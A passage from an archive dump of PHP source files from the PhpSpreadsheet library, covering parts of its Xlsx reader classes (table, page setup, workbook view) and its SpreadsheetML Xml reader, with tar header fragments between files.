$rowsAttributesAreSet = []; foreach ($rowsAttributes as $rowCoordinate => $rowAttributes) { if ( $readFilter === null || !$this->isFilteredRow($readFilter, $rowCoordinate, $columnsAttributes) ) { if (!isset($rowsAttributesAreSet[$rowCoordinate])) { $this->setRowAttributes($rowCoordinate, $rowAttributes); $rowsAttributesAreSet[$rowCoordinate] = true; } } } } private function isFilteredColumn(IReadFilter $readFilter, string $columnCoordinate, array $rowsAttributes): bool { foreach ($rowsAttributes as $rowCoordinate => $rowAttributes) { if (!$readFilter->readCell($columnCoordinate, $rowCoordinate, $this->worksheet->getTitle())) { return true; } } return false; } private function readColumnAttributes(SimpleXMLElement $worksheetCols, bool $readDataOnly): array { $columnAttributes = []; foreach ($worksheetCols->col as $columnx) { $column = $columnx->attributes(); if ($column !== null) { $startColumn = Coordinate::stringFromColumnIndex((int) $column['min']); $endColumn = Coordinate::stringFromColumnIndex((int) $column['max']); ++$endColumn; for ($columnAddress = $startColumn; $columnAddress !== $endColumn; ++$columnAddress) { $columnAttributes[$columnAddress] = $this->readColumnRangeAttributes($column, $readDataOnly); if ((int) ($column['max']) == 16384) { break; } } } } return $columnAttributes; } private function readColumnRangeAttributes(?SimpleXMLElement $column, bool $readDataOnly): array { $columnAttributes = []; if ($column !== null) { if (isset($column['style']) && !$readDataOnly) { $columnAttributes['xfIndex'] = (int) $column['style']; } if (isset($column['hidden']) && self::boolean($column['hidden'])) { $columnAttributes['visible'] = false; } if (isset($column['collapsed']) && self::boolean($column['collapsed'])) { $columnAttributes['collapsed'] = true; } if (isset($column['outlineLevel']) && ((int) $column['outlineLevel']) > 0) { $columnAttributes['outlineLevel'] = (int) $column['outlineLevel']; } if (isset($column['width'])) { $columnAttributes['width'] = (float) $column['width']; } } return $columnAttributes; } private function isFilteredRow(IReadFilter $readFilter, int $rowCoordinate, array $columnsAttributes): bool { foreach ($columnsAttributes as $columnCoordinate => $columnAttributes) { if (!$readFilter->readCell($columnCoordinate, $rowCoordinate, $this->worksheet->getTitle())) { return true; } } return false; } private function readRowAttributes(SimpleXMLElement $worksheetRow, bool $readDataOnly): array { $rowAttributes = []; foreach ($worksheetRow as $rowx) { $row = $rowx->attributes(); if ($row !== null) { if (isset($row['ht']) && !$readDataOnly) { $rowAttributes[(int) $row['r']]['rowHeight'] = (float) $row['ht']; } if (isset($row['hidden']) && self::boolean($row['hidden'])) { $rowAttributes[(int) $row['r']]['visible'] = false; } if (isset($row['collapsed']) && self::boolean($row['collapsed'])) { $rowAttributes[(int) $row['r']]['collapsed'] = true; } if (isset($row['outlineLevel']) && (int) $row['outlineLevel'] > 0) { $rowAttributes[(int) $row['r']]['outlineLevel'] = (int) $row['outlineLevel']; } if (isset($row['s']) && !$readDataOnly) { $rowAttributes[(int) $row['r']]['xfIndex'] = (int) $row['s']; } } } return $rowAttributes; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx/BaseParserClass.php000064400000000655151676714400023143 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xlsx; use Stringable; class BaseParserClass { protected static function boolean(mixed $value): bool { if (is_object($value)) { $value = ($value instanceof Stringable) ? ((string) $value) : 'true'; } if (is_numeric($value)) { return (bool) $value; } return $value === 'true' || $value === 'TRUE'; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx/TableReader.php000064400000010032151676714400022266 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xlsx; use PhpOffice\PhpSpreadsheet\Worksheet\Table; use PhpOffice\PhpSpreadsheet\Worksheet\Table\TableStyle; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use SimpleXMLElement; class TableReader { private Worksheet $worksheet; private SimpleXMLElement $tableXml; /** @var array|SimpleXMLElement */ private $tableAttributes; public function __construct(Worksheet $workSheet, SimpleXMLElement $tableXml) { $this->worksheet = $workSheet; $this->tableXml = $tableXml; } /** * Loads Table into the Worksheet. */ public function load(): void { $this->tableAttributes = $this->tableXml->attributes() ?? []; // Remove all "$" in the table range $tableRange = (string) preg_replace('/\$/', '', $this->tableAttributes['ref'] ?? ''); if (str_contains($tableRange, ':')) { $this->readTable($tableRange); } } /** * Read Table from xml. */ private function readTable(string $tableRange): void { $table = new Table($tableRange); $table->setName((string) ($this->tableAttributes['displayName'] ?? '')); $table->setShowHeaderRow(((string) ($this->tableAttributes['headerRowCount'] ?? '')) !== '0'); $table->setShowTotalsRow(((string) ($this->tableAttributes['totalsRowCount'] ?? '')) === '1'); $this->readTableAutoFilter($table, $this->tableXml->autoFilter); $this->readTableColumns($table, $this->tableXml->tableColumns); $this->readTableStyle($table, $this->tableXml->tableStyleInfo); (new AutoFilter($table, $this->tableXml))->load(); $this->worksheet->addTable($table); } /** * Reads TableAutoFilter from xml. */ private function readTableAutoFilter(Table $table, SimpleXMLElement $autoFilterXml): void { if ($autoFilterXml->filterColumn === null) { $table->setAllowFilter(false); return; } foreach ($autoFilterXml->filterColumn as $filterColumn) { $attributes = $filterColumn->attributes() ?? ['colId' => 0, 'hiddenButton' => 0]; $column = $table->getColumnByOffset((int) $attributes['colId']); $column->setShowFilterButton(((string) $attributes['hiddenButton']) !== '1'); } } /** * Reads TableColumns from xml. */ private function readTableColumns(Table $table, SimpleXMLElement $tableColumnsXml): void { $offset = 0; foreach ($tableColumnsXml->tableColumn as $tableColumn) { $attributes = $tableColumn->attributes() ?? ['totalsRowLabel' => 0, 'totalsRowFunction' => 0]; $column = $table->getColumnByOffset($offset++); if ($table->getShowTotalsRow()) { if ($attributes['totalsRowLabel']) { $column->setTotalsRowLabel((string) $attributes['totalsRowLabel']); } if ($attributes['totalsRowFunction']) { $column->setTotalsRowFunction((string) $attributes['totalsRowFunction']); } } if ($tableColumn->calculatedColumnFormula) { $column->setColumnFormula((string) $tableColumn->calculatedColumnFormula); } } } /** * Reads TableStyle from xml. */ private function readTableStyle(Table $table, SimpleXMLElement $tableStyleInfoXml): void { $tableStyle = new TableStyle(); $attributes = $tableStyleInfoXml->attributes(); if ($attributes !== null) { $tableStyle->setTheme((string) $attributes['name']); $tableStyle->setShowRowStripes((string) $attributes['showRowStripes'] === '1'); $tableStyle->setShowColumnStripes((string) $attributes['showColumnStripes'] === '1'); $tableStyle->setShowFirstColumn((string) $attributes['showFirstColumn'] === '1'); $tableStyle->setShowLastColumn((string) $attributes['showLastColumn'] === '1'); } $table->setStyle($tableStyle); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx/PageSetup.php000064400000015703151676714400022023 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xlsx; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use SimpleXMLElement; class PageSetup extends BaseParserClass { private Worksheet $worksheet; private ?SimpleXMLElement $worksheetXml; public function __construct(Worksheet $workSheet, ?SimpleXMLElement $worksheetXml = null) { $this->worksheet = $workSheet; $this->worksheetXml = $worksheetXml; } public function load(array $unparsedLoadedData): array { $worksheetXml = $this->worksheetXml; if ($worksheetXml === null) { return $unparsedLoadedData; } $this->margins($worksheetXml, $this->worksheet); $unparsedLoadedData = $this->pageSetup($worksheetXml, $this->worksheet, $unparsedLoadedData); $this->headerFooter($worksheetXml, $this->worksheet); $this->pageBreaks($worksheetXml, $this->worksheet); return $unparsedLoadedData; } private function margins(SimpleXMLElement $xmlSheet, Worksheet $worksheet): void { if ($xmlSheet->pageMargins) { $docPageMargins = $worksheet->getPageMargins(); $docPageMargins->setLeft((float) ($xmlSheet->pageMargins['left'])); $docPageMargins->setRight((float) ($xmlSheet->pageMargins['right'])); $docPageMargins->setTop((float) ($xmlSheet->pageMargins['top'])); $docPageMargins->setBottom((float) ($xmlSheet->pageMargins['bottom'])); $docPageMargins->setHeader((float) ($xmlSheet->pageMargins['header'])); $docPageMargins->setFooter((float) ($xmlSheet->pageMargins['footer'])); } } private function pageSetup(SimpleXMLElement $xmlSheet, Worksheet $worksheet, array $unparsedLoadedData): array { if ($xmlSheet->pageSetup) { $docPageSetup = $worksheet->getPageSetup(); if (isset($xmlSheet->pageSetup['orientation'])) { $docPageSetup->setOrientation((string) $xmlSheet->pageSetup['orientation']); } if (isset($xmlSheet->pageSetup['paperSize'])) { $docPageSetup->setPaperSize((int) ($xmlSheet->pageSetup['paperSize'])); } if (isset($xmlSheet->pageSetup['scale'])) { $docPageSetup->setScale((int) ($xmlSheet->pageSetup['scale']), false); } if (isset($xmlSheet->pageSetup['fitToHeight']) && (int) ($xmlSheet->pageSetup['fitToHeight']) >= 0) { $docPageSetup->setFitToHeight((int) ($xmlSheet->pageSetup['fitToHeight']), false); } if (isset($xmlSheet->pageSetup['fitToWidth']) && (int) ($xmlSheet->pageSetup['fitToWidth']) >= 0) { $docPageSetup->setFitToWidth((int) ($xmlSheet->pageSetup['fitToWidth']), false); } if ( isset($xmlSheet->pageSetup['firstPageNumber'], $xmlSheet->pageSetup['useFirstPageNumber']) && self::boolean((string) $xmlSheet->pageSetup['useFirstPageNumber']) ) { $docPageSetup->setFirstPageNumber((int) ($xmlSheet->pageSetup['firstPageNumber'])); } if (isset($xmlSheet->pageSetup['pageOrder'])) { $docPageSetup->setPageOrder((string) $xmlSheet->pageSetup['pageOrder']); } $relAttributes = $xmlSheet->pageSetup->attributes(Namespaces::SCHEMA_OFFICE_DOCUMENT); if (isset($relAttributes['id'])) { $relid = (string) $relAttributes['id']; if (!str_ends_with($relid, 'ps')) { $relid .= 'ps'; } $unparsedLoadedData['sheets'][$worksheet->getCodeName()]['pageSetupRelId'] = $relid; } } return $unparsedLoadedData; } private function headerFooter(SimpleXMLElement $xmlSheet, Worksheet $worksheet): void { if ($xmlSheet->headerFooter) { $docHeaderFooter = $worksheet->getHeaderFooter(); if ( isset($xmlSheet->headerFooter['differentOddEven']) && self::boolean((string) $xmlSheet->headerFooter['differentOddEven']) ) { $docHeaderFooter->setDifferentOddEven(true); } else { $docHeaderFooter->setDifferentOddEven(false); } if ( isset($xmlSheet->headerFooter['differentFirst']) && self::boolean((string) $xmlSheet->headerFooter['differentFirst']) ) { $docHeaderFooter->setDifferentFirst(true); } else { $docHeaderFooter->setDifferentFirst(false); } if ( isset($xmlSheet->headerFooter['scaleWithDoc']) && !self::boolean((string) $xmlSheet->headerFooter['scaleWithDoc']) ) { $docHeaderFooter->setScaleWithDocument(false); } else { $docHeaderFooter->setScaleWithDocument(true); } if ( isset($xmlSheet->headerFooter['alignWithMargins']) && !self::boolean((string) $xmlSheet->headerFooter['alignWithMargins']) ) { $docHeaderFooter->setAlignWithMargins(false); } else { $docHeaderFooter->setAlignWithMargins(true); } $docHeaderFooter->setOddHeader((string) $xmlSheet->headerFooter->oddHeader); $docHeaderFooter->setOddFooter((string) $xmlSheet->headerFooter->oddFooter); $docHeaderFooter->setEvenHeader((string) $xmlSheet->headerFooter->evenHeader); $docHeaderFooter->setEvenFooter((string) $xmlSheet->headerFooter->evenFooter); $docHeaderFooter->setFirstHeader((string) $xmlSheet->headerFooter->firstHeader); $docHeaderFooter->setFirstFooter((string) $xmlSheet->headerFooter->firstFooter); } } private function pageBreaks(SimpleXMLElement $xmlSheet, Worksheet $worksheet): void { if ($xmlSheet->rowBreaks && $xmlSheet->rowBreaks->brk) { $this->rowBreaks($xmlSheet, $worksheet); } if ($xmlSheet->colBreaks && $xmlSheet->colBreaks->brk) { $this->columnBreaks($xmlSheet, $worksheet); } } private function rowBreaks(SimpleXMLElement $xmlSheet, Worksheet $worksheet): void { foreach ($xmlSheet->rowBreaks->brk as $brk) { $rowBreakMax = isset($brk['max']) ? ((int) $brk['max']) : -1; if ($brk['man']) { $worksheet->setBreak("A{$brk['id']}", Worksheet::BREAK_ROW, $rowBreakMax); } } } private function columnBreaks(SimpleXMLElement $xmlSheet, Worksheet $worksheet): void { foreach ($xmlSheet->colBreaks->brk as $brk) { if ($brk['man']) { $worksheet->setBreak( Coordinate::stringFromColumnIndex(((int) $brk['id']) + 1) . '1', Worksheet::BREAK_COLUMN ); } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx/WorkbookView.php000064400000012656151676714400022562 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xlsx; use PhpOffice\PhpSpreadsheet\Spreadsheet; use SimpleXMLElement; class WorkbookView { private Spreadsheet $spreadsheet; public function __construct(Spreadsheet $spreadsheet) { $this->spreadsheet = $spreadsheet; } public function viewSettings(SimpleXMLElement $xmlWorkbook, string $mainNS, array $mapSheetId, bool $readDataOnly): void { // Default active sheet index to the first loaded worksheet from the file $this->spreadsheet->setActiveSheetIndex(0); $workbookView = $xmlWorkbook->children($mainNS)->bookViews->workbookView; if ($readDataOnly !== true && !empty($workbookView)) { $workbookViewAttributes = self::testSimpleXml(self::getAttributes($workbookView)); // active sheet index $activeTab = (int) $workbookViewAttributes->activeTab; // refers to old sheet index // keep active sheet index if sheet is still loaded, else first sheet is set as the active worksheet if (isset($mapSheetId[$activeTab]) && $mapSheetId[$activeTab] !== null) { $this->spreadsheet->setActiveSheetIndex($mapSheetId[$activeTab]); } $this->horizontalScroll($workbookViewAttributes); $this->verticalScroll($workbookViewAttributes); $this->sheetTabs($workbookViewAttributes); $this->minimized($workbookViewAttributes); $this->autoFilterDateGrouping($workbookViewAttributes); $this->firstSheet($workbookViewAttributes); $this->visibility($workbookViewAttributes); $this->tabRatio($workbookViewAttributes); } } public static function testSimpleXml(mixed $value): SimpleXMLElement { return ($value instanceof SimpleXMLElement) ? $value : new SimpleXMLElement('<?xml version="1.0" encoding="UTF-8"?><root></root>'); } public static function getAttributes(?SimpleXMLElement $value, string $ns = ''): SimpleXMLElement { return self::testSimpleXml($value === null ? $value : $value->attributes($ns)); } /** * Convert an 'xsd:boolean' XML value to a PHP boolean value. * A valid 'xsd:boolean' XML value can be one of the following * four values: 'true', 'false', '1', '0'. It is case sensitive. * * Note that just doing '(bool) $xsdBoolean' is not safe, * since '(bool) "false"' returns true. * * @see https://www.w3.org/TR/xmlschema11-2/#boolean * * @param string $xsdBoolean An XML string value of type 'xsd:boolean' * * @return bool Boolean value */ private function castXsdBooleanToBool(string $xsdBoolean): bool { if ($xsdBoolean === 'false') { return false; } return (bool) $xsdBoolean; } private function horizontalScroll(SimpleXMLElement $workbookViewAttributes): void { if (isset($workbookViewAttributes->showHorizontalScroll)) { $showHorizontalScroll = (string) $workbookViewAttributes->showHorizontalScroll; $this->spreadsheet->setShowHorizontalScroll($this->castXsdBooleanToBool($showHorizontalScroll)); } } private function verticalScroll(SimpleXMLElement $workbookViewAttributes): void { if (isset($workbookViewAttributes->showVerticalScroll)) { $showVerticalScroll = (string) $workbookViewAttributes->showVerticalScroll; $this->spreadsheet->setShowVerticalScroll($this->castXsdBooleanToBool($showVerticalScroll)); } } private function sheetTabs(SimpleXMLElement $workbookViewAttributes): void { if (isset($workbookViewAttributes->showSheetTabs)) { $showSheetTabs = (string) $workbookViewAttributes->showSheetTabs; $this->spreadsheet->setShowSheetTabs($this->castXsdBooleanToBool($showSheetTabs)); } } private function minimized(SimpleXMLElement $workbookViewAttributes): void { if (isset($workbookViewAttributes->minimized)) { $minimized = (string) $workbookViewAttributes->minimized; $this->spreadsheet->setMinimized($this->castXsdBooleanToBool($minimized)); } } private function autoFilterDateGrouping(SimpleXMLElement $workbookViewAttributes): void { if (isset($workbookViewAttributes->autoFilterDateGrouping)) { $autoFilterDateGrouping = (string) $workbookViewAttributes->autoFilterDateGrouping; $this->spreadsheet->setAutoFilterDateGrouping($this->castXsdBooleanToBool($autoFilterDateGrouping)); } } private function firstSheet(SimpleXMLElement $workbookViewAttributes): void { if (isset($workbookViewAttributes->firstSheet)) { $firstSheet = (string) $workbookViewAttributes->firstSheet; $this->spreadsheet->setFirstSheetIndex((int) $firstSheet); } } private function visibility(SimpleXMLElement $workbookViewAttributes): void { if (isset($workbookViewAttributes->visibility)) { $visibility = (string) $workbookViewAttributes->visibility; $this->spreadsheet->setVisibility($visibility); } } private function tabRatio(SimpleXMLElement $workbookViewAttributes): void { if (isset($workbookViewAttributes->tabRatio)) { $tabRatio = (string) $workbookViewAttributes->tabRatio; $this->spreadsheet->setTabRatio((int) $tabRatio); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xml.php000064400000100716151676714400017727 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader; use DateTime; use DateTimeZone; use PhpOffice\PhpSpreadsheet\Cell\AddressHelper; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\DefinedName; use PhpOffice\PhpSpreadsheet\Helper\Html as HelperHtml; use PhpOffice\PhpSpreadsheet\Reader\Security\XmlScanner; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Namespaces; use PhpOffice\PhpSpreadsheet\Reader\Xml\PageSettings; use PhpOffice\PhpSpreadsheet\Reader\Xml\Properties; use PhpOffice\PhpSpreadsheet\Reader\Xml\Style; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\Settings; use PhpOffice\PhpSpreadsheet\Shared\Date; use PhpOffice\PhpSpreadsheet\Shared\File; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\SheetView; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use SimpleXMLElement; use Throwable; /** * Reader for SpreadsheetML, the XML schema for Microsoft Office Excel 2003. */ class Xml extends BaseReader { public const NAMESPACES_SS = 'urn:schemas-microsoft-com:office:spreadsheet'; /** * Formats. */ protected array $styles = []; /** * Create a new Excel2003XML Reader instance. */ public function __construct() { parent::__construct(); $this->securityScanner = XmlScanner::getInstance($this); } private string $fileContents = ''; private string $xmlFailMessage = ''; public static function xmlMappings(): array { return array_merge( Style\Fill::FILL_MAPPINGS, Style\Border::BORDER_MAPPINGS ); } /** * Can the current IReader read the file? */ public function canRead(string $filename): bool { // Office xmlns:o="urn:schemas-microsoft-com:office:office" // Excel xmlns:x="urn:schemas-microsoft-com:office:excel" // XML Spreadsheet xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" // Spreadsheet component xmlns:c="urn:schemas-microsoft-com:office:component:spreadsheet" // XML schema xmlns:s="uuid:BDC6E3F0-6DA3-11d1-A2A3-00AA00C14882" // XML data type xmlns:dt="uuid:C2F41010-65B3-11d1-A29F-00AA00C14882" // MS-persist recordset xmlns:rs="urn:schemas-microsoft-com:rowset" // Rowset xmlns:z="#RowsetSchema" // $signature = [ '<?xml version="1.0"', 'xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet', ]; // Open file $data = file_get_contents($filename) ?: ''; // Why? //$data = str_replace("'", '"', $data); // fix headers with single quote $valid = true; foreach ($signature as $match) { // every part of the signature must be present if (!str_contains($data, $match)) { $valid = false; break; } } // Retrieve charset encoding if (preg_match('/<?xml.*encoding=[\'"](.*?)[\'"].*?>/m', $data, $matches)) { $charSet = strtoupper($matches[1]); if (preg_match('/^ISO-8859-\d[\dL]?$/i', $charSet) === 1) { $data = StringHelper::convertEncoding($data, 'UTF-8', $charSet); $data = (string) preg_replace('/(<?xml.*encoding=[\'"]).*?([\'"].*?>)/um', '$1' . 'UTF-8' . '$2', $data, 1); } } $this->fileContents = $data; return $valid; } /** * Check if the file is a valid SimpleXML. * * @return false|SimpleXMLElement * * @deprecated 2.0.1 Should never have had public visibility * * @codeCoverageIgnore */ public function trySimpleXMLLoadString(string $filename, string $fileOrString = 'file'): SimpleXMLElement|bool { return $this->trySimpleXMLLoadStringPrivate($filename, $fileOrString); } /** @return false|SimpleXMLElement */ private function trySimpleXMLLoadStringPrivate(string $filename, string $fileOrString = 'file'): SimpleXMLElement|bool { $this->xmlFailMessage = "Cannot load invalid XML $fileOrString: " . $filename; $xml = false; try { $data = $this->fileContents; $continue = true; if ($data === '' && $fileOrString === 'file') { if ($filename === '') { $this->xmlFailMessage = 'Cannot load empty path'; $continue = false; } else { $datax = @file_get_contents($filename); $data = $datax ?: ''; $continue = $datax !== false; } } if ($continue) { $xml = @simplexml_load_string( $this->getSecurityScannerOrThrow()->scan($data), 'SimpleXMLElement', Settings::getLibXmlLoaderOptions() ); } } catch (Throwable $e) { throw new Exception($this->xmlFailMessage, 0, $e); } $this->fileContents = ''; return $xml; } /** * Reads names of the worksheets from a file, without parsing the whole file to a Spreadsheet object. */ public function listWorksheetNames(string $filename): array { File::assertFile($filename); if (!$this->canRead($filename)) { throw new Exception($filename . ' is an Invalid Spreadsheet file.'); } $worksheetNames = []; $xml = $this->trySimpleXMLLoadStringPrivate($filename); if ($xml === false) { throw new Exception("Problem reading {$filename}"); } $xml_ss = $xml->children(self::NAMESPACES_SS); foreach ($xml_ss->Worksheet as $worksheet) { $worksheet_ss = self::getAttributes($worksheet, self::NAMESPACES_SS); $worksheetNames[] = (string) $worksheet_ss['Name']; } return $worksheetNames; } /** * Return worksheet info (Name, Last Column Letter, Last Column Index, Total Rows, Total Columns). */ public function listWorksheetInfo(string $filename): array { File::assertFile($filename); if (!$this->canRead($filename)) { throw new Exception($filename . ' is an Invalid Spreadsheet file.'); } $worksheetInfo = []; $xml = $this->trySimpleXMLLoadStringPrivate($filename); if ($xml === false) { throw new Exception("Problem reading {$filename}"); } $worksheetID = 1; $xml_ss = $xml->children(self::NAMESPACES_SS); foreach ($xml_ss->Worksheet as $worksheet) { $worksheet_ss = self::getAttributes($worksheet, self::NAMESPACES_SS); $tmpInfo = []; $tmpInfo['worksheetName'] = ''; $tmpInfo['lastColumnLetter'] = 'A'; $tmpInfo['lastColumnIndex'] = 0; $tmpInfo['totalRows'] = 0; $tmpInfo['totalColumns'] = 0; $tmpInfo['worksheetName'] = "Worksheet_{$worksheetID}"; if (isset($worksheet_ss['Name'])) { $tmpInfo['worksheetName'] = (string) $worksheet_ss['Name']; } if (isset($worksheet->Table->Row)) { $rowIndex = 0; foreach ($worksheet->Table->Row as $rowData) { $columnIndex = 0; $rowHasData = false; foreach ($rowData->Cell as $cell) { if (isset($cell->Data)) { $tmpInfo['lastColumnIndex'] = max($tmpInfo['lastColumnIndex'], $columnIndex); $rowHasData = true; } ++$columnIndex; } ++$rowIndex; if ($rowHasData) { $tmpInfo['totalRows'] = max($tmpInfo['totalRows'], $rowIndex); } } } $tmpInfo['lastColumnLetter'] = Coordinate::stringFromColumnIndex($tmpInfo['lastColumnIndex'] + 1); $tmpInfo['totalColumns'] = $tmpInfo['lastColumnIndex'] + 1; $worksheetInfo[] = $tmpInfo; ++$worksheetID; } return $worksheetInfo; } /** * Loads Spreadsheet from string. */ public function loadSpreadsheetFromString(string $contents): Spreadsheet { // Create new Spreadsheet $spreadsheet = new Spreadsheet(); $spreadsheet->removeSheetByIndex(0); // Load into this instance return $this->loadIntoExisting($contents, $spreadsheet, true); } /** * Loads Spreadsheet from file. */ protected function loadSpreadsheetFromFile(string $filename): Spreadsheet { // Create new Spreadsheet $spreadsheet = new Spreadsheet(); $spreadsheet->removeSheetByIndex(0); // Load into this instance return $this->loadIntoExisting($filename, $spreadsheet); } /** * Loads from file or contents into Spreadsheet instance. * * @param string $filename file name if useContents is false else file contents */ public function loadIntoExisting(string $filename, Spreadsheet $spreadsheet, bool $useContents = false): Spreadsheet { if ($useContents) { $this->fileContents = $filename; $fileOrString = 'string'; } else { File::assertFile($filename); if (!$this->canRead($filename)) { throw new Exception($filename . ' is an Invalid Spreadsheet file.'); } $fileOrString = 'file'; } $xml = $this->trySimpleXMLLoadStringPrivate($filename, $fileOrString); if ($xml === false) { throw new Exception($this->xmlFailMessage); } $namespaces = $xml->getNamespaces(true); (new Properties($spreadsheet))->readProperties($xml, $namespaces); $this->styles = (new Style())->parseStyles($xml, $namespaces); if (isset($this->styles['Default'])) { $spreadsheet->getCellXfCollection()[0]->applyFromArray($this->styles['Default']); } $worksheetID = 0; $xml_ss = $xml->children(self::NAMESPACES_SS); /** @var null|SimpleXMLElement $worksheetx */ foreach ($xml_ss->Worksheet as $worksheetx) { $worksheet = $worksheetx ?? new SimpleXMLElement('<xml></xml>'); $worksheet_ss = self::getAttributes($worksheet, self::NAMESPACES_SS); if ( isset($this->loadSheetsOnly, $worksheet_ss['Name']) && (!in_array($worksheet_ss['Name'], $this->loadSheetsOnly)) ) { continue; } // Create new Worksheet $spreadsheet->createSheet(); $spreadsheet->setActiveSheetIndex($worksheetID); $worksheetName = ''; if (isset($worksheet_ss['Name'])) { $worksheetName = (string) $worksheet_ss['Name']; // Use false for $updateFormulaCellReferences to prevent adjustment of worksheet references in // formula cells... during the load, all formulae should be correct, and we're simply bringing // the worksheet name in line with the formula, not the reverse $spreadsheet->getActiveSheet()->setTitle($worksheetName, false, false); } if (isset($worksheet_ss['Protected'])) { $protection = (string) $worksheet_ss['Protected'] === '1'; $spreadsheet->getActiveSheet()->getProtection()->setSheet($protection); } // locally scoped defined names if (isset($worksheet->Names[0])) { foreach ($worksheet->Names[0] as $definedName) { $definedName_ss = self::getAttributes($definedName, self::NAMESPACES_SS); $name = (string) $definedName_ss['Name']; $definedValue = (string) $definedName_ss['RefersTo']; $convertedValue = AddressHelper::convertFormulaToA1($definedValue); if ($convertedValue[0] === '=') { $convertedValue = substr($convertedValue, 1); } $spreadsheet->addDefinedName(DefinedName::createInstance($name, $spreadsheet->getActiveSheet(), $convertedValue, true)); } } $columnID = 'A'; if (isset($worksheet->Table->Column)) { foreach ($worksheet->Table->Column as $columnData) { $columnData_ss = self::getAttributes($columnData, self::NAMESPACES_SS); $colspan = 0; if (isset($columnData_ss['Span'])) { $spanAttr = (string) $columnData_ss['Span']; if (is_numeric($spanAttr)) { $colspan = max(0, (int) $spanAttr); } } if (isset($columnData_ss['Index'])) { $columnID = Coordinate::stringFromColumnIndex((int) $columnData_ss['Index']); } $columnWidth = null; if (isset($columnData_ss['Width'])) { $columnWidth = $columnData_ss['Width']; } $columnVisible = null; if (isset($columnData_ss['Hidden'])) { $columnVisible = ((string) $columnData_ss['Hidden']) !== '1'; } while ($colspan >= 0) { if (isset($columnWidth)) { $spreadsheet->getActiveSheet()->getColumnDimension($columnID)->setWidth($columnWidth / 5.4); } if (isset($columnVisible)) { $spreadsheet->getActiveSheet()->getColumnDimension($columnID)->setVisible($columnVisible); } ++$columnID; --$colspan; } } } $rowID = 1; if (isset($worksheet->Table->Row)) { $additionalMergedCells = 0; foreach ($worksheet->Table->Row as $rowData) { $rowHasData = false; $row_ss = self::getAttributes($rowData, self::NAMESPACES_SS); if (isset($row_ss['Index'])) { $rowID = (int) $row_ss['Index']; } if (isset($row_ss['Hidden'])) { $rowVisible = ((string) $row_ss['Hidden']) !== '1'; $spreadsheet->getActiveSheet()->getRowDimension($rowID)->setVisible($rowVisible); } $columnID = 'A'; foreach ($rowData->Cell as $cell) { $cell_ss = self::getAttributes($cell, self::NAMESPACES_SS); if (isset($cell_ss['Index'])) { $columnID = Coordinate::stringFromColumnIndex((int) $cell_ss['Index']); } $cellRange = $columnID . $rowID; if ($this->getReadFilter() !== null) { if (!$this->getReadFilter()->readCell($columnID, $rowID, $worksheetName)) { ++$columnID; continue; } } if (isset($cell_ss['HRef'])) { $spreadsheet->getActiveSheet()->getCell($cellRange)->getHyperlink()->setUrl((string) $cell_ss['HRef']); } if ((isset($cell_ss['MergeAcross'])) || (isset($cell_ss['MergeDown']))) { $columnTo = $columnID; if (isset($cell_ss['MergeAcross'])) { $additionalMergedCells += (int) $cell_ss['MergeAcross']; $columnTo = Coordinate::stringFromColumnIndex((int) (Coordinate::columnIndexFromString($columnID) + $cell_ss['MergeAcross'])); } $rowTo = $rowID; if (isset($cell_ss['MergeDown'])) { $rowTo = $rowTo + $cell_ss['MergeDown']; } $cellRange .= ':' . $columnTo . $rowTo; $spreadsheet->getActiveSheet()->mergeCells($cellRange, Worksheet::MERGE_CELL_CONTENT_HIDE); } $hasCalculatedValue = false; $cellDataFormula = ''; if (isset($cell_ss['Formula'])) { $cellDataFormula = $cell_ss['Formula']; $hasCalculatedValue = true; } if (isset($cell->Data)) { $cellData = $cell->Data; $cellValue = (string) $cellData; $type = DataType::TYPE_NULL; $cellData_ss = self::getAttributes($cellData, self::NAMESPACES_SS); if (isset($cellData_ss['Type'])) { $cellDataType = $cellData_ss['Type']; switch ($cellDataType) { /* const TYPE_STRING = 's'; const TYPE_FORMULA = 'f'; const TYPE_NUMERIC = 'n'; const TYPE_BOOL = 'b'; const TYPE_NULL = 'null'; const TYPE_INLINE = 'inlineStr'; const TYPE_ERROR = 'e'; */ case 'String': $type = DataType::TYPE_STRING; $rich = $cellData->children('http://www.w3.org/TR/REC-html40'); if ($rich) { // in case of HTML content we extract the payload // and convert it into a rich text object $content = $cellData->asXML() ?: ''; $html = new HelperHtml(); $cellValue = $html->toRichTextObject($content, true); } break; case 'Number': $type = DataType::TYPE_NUMERIC; $cellValue = (float) $cellValue; if (floor($cellValue) == $cellValue) { $cellValue = (int) $cellValue; } break; case 'Boolean': $type = DataType::TYPE_BOOL; $cellValue = ($cellValue != 0); break; case 'DateTime': $type = DataType::TYPE_NUMERIC; $dateTime = new DateTime($cellValue, new DateTimeZone('UTC')); $cellValue = Date::PHPToExcel($dateTime); break; case 'Error': $type = DataType::TYPE_ERROR; $hasCalculatedValue = false; break; } } $originalType = $type; if ($hasCalculatedValue) { $type = DataType::TYPE_FORMULA; $columnNumber = Coordinate::columnIndexFromString($columnID); $cellDataFormula = AddressHelper::convertFormulaToA1($cellDataFormula, $rowID, $columnNumber); } $spreadsheet->getActiveSheet()->getCell($columnID . $rowID)->setValueExplicit((($hasCalculatedValue) ? $cellDataFormula : $cellValue), $type); 